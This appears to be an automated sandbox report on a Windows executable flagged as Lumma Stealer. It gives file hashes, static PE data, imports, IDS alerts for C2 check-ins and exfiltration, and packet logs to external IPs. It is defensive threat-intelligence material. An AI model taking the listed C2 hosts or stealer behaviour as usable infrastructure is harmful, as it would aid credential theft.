Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="668077" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\ScreenUpdateSync[1].exe

Download File

Process:	C:\Users\user\Desktop\xCnwCctDWC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	341504
Entropy (8bit):	7.257573629179284
Encrypted:	false
SSDEEP:	6144:imcwLfcraiOA/aX5CkSnVmB2ZHgZSgGf:ieDccA/Y5CkSn0gZgs
MD5:	D66791DB5C8D7BF392361E2343F7A5EA
SHA1:	09784C6E0C0E2BE36C83F41535908039FE1AA343
SHA-256:	25C2A9D961D4110C9E66519B777AA070BEEC2388278ADBD68454D537422BD895
SHA-512:	E936C1E158ADC60FD348C695C088F5FE6F1F16EA58DB6FE211EEC3A426320F40619D56A3B43F3755B1BC178FF7ED7541618A9BF030D4AB1D2505101412A38361
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: DLKs2Qeljg.exe, Detection: malicious, Browse Filename: fuk7RfLrD3.exe, Detection: malicious, Browse Filename: Ljrprfl3BH.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z.....k...k...k.......k....;.k.......k....d.k.9Q....k...j.m.k......k.......k.......k.Rich..k.........PE..L......e.................$...P.......^.......@....@.................................?........................................*..(.......h............................................................G..@...............t............................text...V#.......$.................. ..`.data.......@...`...(..............@....rsrc...h...........................@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

Download File

Process:	C:\Users\user\Desktop\xCnwCctDWC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	341504
Entropy (8bit):	7.257573629179284
Encrypted:	false
SSDEEP:	6144:imcwLfcraiOA/aX5CkSnVmB2ZHgZSgGf:ieDccA/Y5CkSn0gZgs
MD5:	D66791DB5C8D7BF392361E2343F7A5EA
SHA1:	09784C6E0C0E2BE36C83F41535908039FE1AA343
SHA-256:	25C2A9D961D4110C9E66519B777AA070BEEC2388278ADBD68454D537422BD895
SHA-512:	E936C1E158ADC60FD348C695C088F5FE6F1F16EA58DB6FE211EEC3A426320F40619D56A3B43F3755B1BC178FF7ED7541618A9BF030D4AB1D2505101412A38361
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: DLKs2Qeljg.exe, Detection: malicious, Browse Filename: fuk7RfLrD3.exe, Detection: malicious, Browse Filename: Ljrprfl3BH.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z.....k...k...k.......k....;.k.......k....d.k.9Q....k...j.m.k......k.......k.......k.Rich..k.........PE..L......e.................$...P.......^.......@....@.................................?........................................*..(.......h............................................................G..@...............t............................text...V#.......$.................. ..`.data.......@...`...(..............@....rsrc...h...........................@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.372062123169901
Encrypted:	false
SSDEEP:	6144:RFVfpi6ceLP/9skLmb0ayWWSPtaJG8nAge35OlMMhA2AX4WABlguNNiL1:XV1QyWWI/glMM6kF7bq1
MD5:	9E3EAC4BBB92D0B0D84F61CE61D9FDA3
SHA1:	213EAF287E8ABF1266430C641E6CCBA6637030D8
SHA-256:	61C9EFB0B15AB6F751A69FFB357B71D7E709BC2E9522745454BE0F48BE0FDC04
SHA-512:	6C4ABDDA043DA84ABDE8416BCA08681BABFE0A8B06326ED389A1844A0374E67B0A9D904A116F9640D1DB9227213AD3644E89599FA190B8C070E9727EFDA2916B
Malicious:	false
Preview:	regfC...C....\.Z.................... ....0......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..).hb...............................................................................................................................................................................................................................................................................................................................................<>.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.69482094762348
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	xCnwCctDWC.exe
File size:	538'112 bytes
MD5:	0e5aa226db83b1ebcf03b3fa773cd744
SHA1:	41a85bf59c6d45d6f1507bfe820189fe1a81fd51
SHA256:	ad8e01bfb2dbc2fc78a8435ee5f13816b1356261fc81b3b2507a30b5663fa7a0
SHA512:	a87e4970b8bc284ffde578103f4797228c3158822a75673bccc1b27525979977f596bf4654cb25e6b09e88a706deafe8feb8cb0cb8e20714565e68371c9c17d4
SSDEEP:	12288:XasxsC0ltrzi9haoCUm3LVd1QJKv/hbB:XjitrgClQJKXh
TLSH:	35B46C1292A17D40EF6A47368E2ED6FC661EBD614F3467BD22187B1F04732B3C162729
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A]p. 3#. 3#. 3#.r.#. 3#.r.#. 3#.r.#. 3#..H#. 3#. 2#. 3#.r.#. 3#.r.#. 3#.r.#. 3#Rich. 3#........PE..L.....ye.................".

File Icon


Icon Hash:	86c7c30b0f4e0d99

Static PE Info

General

Entrypoint:	0x401653
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6579FFC4 [Wed Dec 13 19:02:28 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	f3b95296cb9d39e616b97b4a3bdc1cbb

Entrypoint Preview

Instruction
call 00007FEFB11307B4h
jmp 00007FEFB112C34Dh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [004588F8h], eax
mov dword ptr [004588F4h], ecx
mov dword ptr [004588F0h], edx
mov dword ptr [004588ECh], ebx
mov dword ptr [004588E8h], esi
mov dword ptr [004588E4h], edi
mov word ptr [00458910h], ss
mov word ptr [00458904h], cs
mov word ptr [004588E0h], ds
mov word ptr [004588DCh], es
mov word ptr [004588D8h], fs
mov word ptr [004588D4h], gs
pushfd
pop dword ptr [00458908h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [004588FCh], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [00458900h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [0045890Ch], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [00458848h], 00010001h
mov eax, dword ptr [00458900h]
mov dword ptr [004587FCh], eax
mov dword ptr [004587F0h], C0000409h
mov dword ptr [004587F4h], 00000001h
mov eax, dword ptr [00457004h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [00457008h]
mov dword ptr [ebp-00000324h], eax
call dword ptr [000000A0h]

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x55a3c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc6000	0x28910	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x555c0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x54000	0x18c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5209b	0x52200	628ab7805cc0d6548c7d1f6473904ee2	False	0.8345789335996956	data	7.536561795358908	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x54000	0x2324	0x2400	a7224ab4627e5f7fda6c5f2d2ce7882f	False	0.365234375	data	5.470242393752811	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x57000	0x67f7c	0x1800	0e3fc88ffc1ce379ec8650aca53a2b42	False	0.33642578125	data	3.359915654204675	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.lid	0xbf000	0x53e5	0x4800	f9debe3f07be68533bf0295e3d2ba68a	False	0.002224392361111111	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rotazex	0xc5000	0x15a	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc6000	0x28910	0x28a00	c129218915c1bfad59e63bc979d48c94	False	0.3852644230769231	data	4.740859195887428	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_CURSOR	0xe3fe8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0	0.7368421052631579
RT_CURSOR	0xe4118	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.06130705394190871
RT_CURSOR	0xe66e8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.31023454157782515
RT_CURSOR	0xe75a8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0	0.7368421052631579
RT_CURSOR	0xe76d8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.06130705394190871
RT_ICON	0xc6d20	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	0.4965351812366738
RT_ICON	0xc7bc8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	0.5401624548736462
RT_ICON	0xc8470	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	0.5697004608294931
RT_ICON	0xc8b38	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	0.5809248554913294
RT_ICON	0xc90a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	0.3599585062240664
RT_ICON	0xcb648	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.4268292682926829
RT_ICON	0xcc6f0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	0.42704918032786887
RT_ICON	0xcd078	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	0.5212765957446809
RT_ICON	0xcd558	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	0.8267590618336887
RT_ICON	0xce400	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	0.8370938628158845
RT_ICON	0xceca8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	0.7672811059907834
RT_ICON	0xcf370	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	0.8352601156069365
RT_ICON	0xcf8d8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	0.8056016597510374
RT_ICON	0xd1e80	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	0.8471311475409836
RT_ICON	0xd2808	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	0.8643617021276596
RT_ICON	0xd2cd8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	0.3312899786780384
RT_ICON	0xd3b80	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	0.3935018050541516
RT_ICON	0xd4428	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	0.39976958525345624
RT_ICON	0xd4af0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	0.3995664739884393
RT_ICON	0xd5058	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.22178423236514522
RT_ICON	0xd7600	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.24929643527204504
RT_ICON	0xd86a8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	0.28032786885245903
RT_ICON	0xd9030	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.3076241134751773
RT_ICON	0xd9510	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.3352878464818763
RT_ICON	0xda3b8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.4666064981949459
RT_ICON	0xdac60	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	0.533410138248848
RT_ICON	0xdb328	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.5664739884393064
RT_ICON	0xdb890	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.30558161350844276
RT_ICON	0xdc938	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	0.3040983606557377
RT_ICON	0xdd2c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.35726950354609927
RT_ICON	0xdd790	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.27958422174840086
RT_ICON	0xde638	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.3677797833935018
RT_ICON	0xdeee0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	0.3784562211981567
RT_ICON	0xdf5a8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.38078034682080925
RT_ICON	0xdfb10	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.2602697095435685
RT_ICON	0xe20b8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.27204502814258913
RT_ICON	0xe3160	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	0.2881147540983607
RT_ICON	0xe3ae8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.32269503546099293
RT_STRING	0xe9e60	0x2e0	data	0.48777173913043476
RT_STRING	0xea140	0x120	data	0.5243055555555556
RT_STRING	0xea260	0x7ae	data	0.427263479145473
RT_STRING	0xeaa10	0x628	data	0.43781725888324874
RT_STRING	0xeb038	0x6c6	data	0.4244521337946944
RT_STRING	0xeb700	0x75a	data	0.42401700318809776
RT_STRING	0xebe60	0x6ec	data	0.4322799097065463
RT_STRING	0xec550	0x71c	data	0.42967032967032964
RT_STRING	0xecc70	0x5b2	data	0.44718792866941015
RT_STRING	0xed228	0x6a6	data	0.4336075205640423
RT_STRING	0xed8d0	0x70e	data	0.4330011074197121
RT_STRING	0xedfe0	0x7b4	data	0.4224137931034483
RT_STRING	0xee798	0x172	data	0.5162162162162162
RT_ACCELERATOR	0xe3fc8	0x20	data	1.15625
RT_GROUP_CURSOR	0xe66c0	0x22	data	1.088235294117647
RT_GROUP_CURSOR	0xe7590	0x14	data	1.25
RT_GROUP_CURSOR	0xe9c80	0x22	data	1.088235294117647
RT_GROUP_ICON	0xd2c70	0x68	data	0.7019230769230769
RT_GROUP_ICON	0xe3f50	0x76	data	0.6694915254237288
RT_GROUP_ICON	0xd9498	0x76	data	0.6694915254237288
RT_GROUP_ICON	0xdd728	0x68	data	0.7211538461538461
RT_GROUP_ICON	0xcd4e0	0x76	data	0.6610169491525424
RT_VERSION	0xe9ca8	0x1b4	data	0.573394495412844

Imports

DLL

Import

KERNEL32.dll

GetComputerNameA, GetThreadContext, GetNumaProcessorNode, CreateProcessW, InterlockedDecrement, SetDefaultCommConfigW, CancelWaitableTimer, GetTimeFormatA, GetProcessPriorityBoost, GetModuleHandleW, GetCurrentThread, GetDateFormatA, GetVolumePathNameW, GetEnvironmentStrings, LoadLibraryW, GetConsoleAliasW, GetStartupInfoW, RaiseException, GetShortPathNameA, GetStartupInfoA, SetLastError, GetProcAddress, SearchPathA, GetAtomNameA, InterlockedExchangeAdd, LocalAlloc, DeleteTimerQueue, AddAtomA, FindAtomA, FoldStringW, SetLocaleInfoW, OpenFileMappingW, Module32Next, FindFirstVolumeW, HeapAlloc, GetCommandLineA, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, HeapFree, VirtualFree, VirtualAlloc, HeapReAlloc, HeapCreate, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, GetLastError, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, FlushFileBuffers, FreeEnvironmentStringsA, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetFileType, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, GetCurrentThreadId, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, SetFilePointer, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, InitializeCriticalSectionAndSpinCount, RtlUnwind, LoadLibraryA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, MultiByteToWideChar, SetStdHandle, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, HeapSize, CreateFileA, CloseHandle, GetModuleHandleA

USER32.dll

GetProcessDefaultLayout

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-09T08:34:50.153841+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49706	104.21.56.70	443	TCP
2025-01-09T08:34:51.020389+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49707	176.113.115.19	80	TCP
2025-01-09T08:34:54.133007+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49708	104.21.112.1	443	TCP
2025-01-09T08:34:54.608539+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49708	104.21.112.1	443	TCP
2025-01-09T08:34:54.608539+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49708	104.21.112.1	443	TCP
2025-01-09T08:34:55.120507+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49709	104.21.112.1	443	TCP
2025-01-09T08:34:55.619251+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49709	104.21.112.1	443	TCP
2025-01-09T08:34:55.619251+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49709	104.21.112.1	443	TCP
2025-01-09T08:34:56.399127+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49710	104.21.112.1	443	TCP
2025-01-09T08:34:57.538748+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49711	104.21.112.1	443	TCP
2025-01-09T08:34:58.084110+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49711	104.21.112.1	443	TCP
2025-01-09T08:34:59.074379+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49712	104.21.112.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 08:34:48.995304108 CET	49706	443	192.168.2.8	104.21.56.70
Jan 9, 2025 08:34:48.995348930 CET	443	49706	104.21.56.70	192.168.2.8
Jan 9, 2025 08:34:48.995424986 CET	49706	443	192.168.2.8	104.21.56.70
Jan 9, 2025 08:34:49.238698006 CET	49706	443	192.168.2.8	104.21.56.70
Jan 9, 2025 08:34:49.238722086 CET	443	49706	104.21.56.70	192.168.2.8
Jan 9, 2025 08:34:49.705415964 CET	443	49706	104.21.56.70	192.168.2.8
Jan 9, 2025 08:34:49.705495119 CET	49706	443	192.168.2.8	104.21.56.70
Jan 9, 2025 08:34:49.808223963 CET	49706	443	192.168.2.8	104.21.56.70
Jan 9, 2025 08:34:49.808258057 CET	443	49706	104.21.56.70	192.168.2.8
Jan 9, 2025 08:34:49.808605909 CET	443	49706	104.21.56.70	192.168.2.8
Jan 9, 2025 08:34:49.808655977 CET	49706	443	192.168.2.8	104.21.56.70
Jan 9, 2025 08:34:49.825229883 CET	49706	443	192.168.2.8	104.21.56.70
Jan 9, 2025 08:34:49.871326923 CET	443	49706	104.21.56.70	192.168.2.8
Jan 9, 2025 08:34:50.153865099 CET	443	49706	104.21.56.70	192.168.2.8
Jan 9, 2025 08:34:50.153923988 CET	49706	443	192.168.2.8	104.21.56.70
Jan 9, 2025 08:34:50.153947115 CET	443	49706	104.21.56.70	192.168.2.8
Jan 9, 2025 08:34:50.154007912 CET	49706	443	192.168.2.8	104.21.56.70
Jan 9, 2025 08:34:50.154367924 CET	443	49706	104.21.56.70	192.168.2.8
Jan 9, 2025 08:34:50.154402971 CET	49706	443	192.168.2.8	104.21.56.70
Jan 9, 2025 08:34:50.154418945 CET	443	49706	104.21.56.70	192.168.2.8
Jan 9, 2025 08:34:50.154462099 CET	49706	443	192.168.2.8	104.21.56.70
Jan 9, 2025 08:34:50.164220095 CET	49706	443	192.168.2.8	104.21.56.70
Jan 9, 2025 08:34:50.164237022 CET	443	49706	104.21.56.70	192.168.2.8
Jan 9, 2025 08:34:50.164256096 CET	49706	443	192.168.2.8	104.21.56.70
Jan 9, 2025 08:34:50.164275885 CET	49706	443	192.168.2.8	104.21.56.70
Jan 9, 2025 08:34:50.315620899 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:50.320529938 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:50.320635080 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:50.320772886 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:50.325537920 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.020234108 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.020270109 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.020292044 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.020302057 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.020318985 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.020338058 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.020350933 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.020364046 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.020389080 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.020452023 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.020464897 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.020602942 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.021991014 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.025401115 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.025418997 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.025432110 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.025465012 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.025479078 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.025506020 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.025542974 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.025542974 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.141246080 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.141278982 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.141299009 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.141311884 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.141324043 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.141335964 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.141571045 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.141571045 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.141690016 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.141788006 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.141801119 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.141813040 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.142327070 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.142338037 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.142349958 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.142371893 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.142407894 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.142426968 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.142440081 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.142466068 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.142489910 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.142489910 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.143096924 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.143124104 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.143136978 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.143224001 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.143235922 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.143301010 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.143309116 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.143340111 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.144028902 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.145998955 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.156605005 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.156618118 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.156629086 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.156683922 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.156900883 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.161974907 CET	49707	80	192.168.2.8	176.113.115.19
Jan 9, 2025 08:34:51.261970997 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.261991024 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.262010098 CET	80	49707	176.113.115.19	192.168.2.8
Jan 9, 2025 08:34:51.262029886 CET	80	49707	176.113.115.19	192.168.2.8
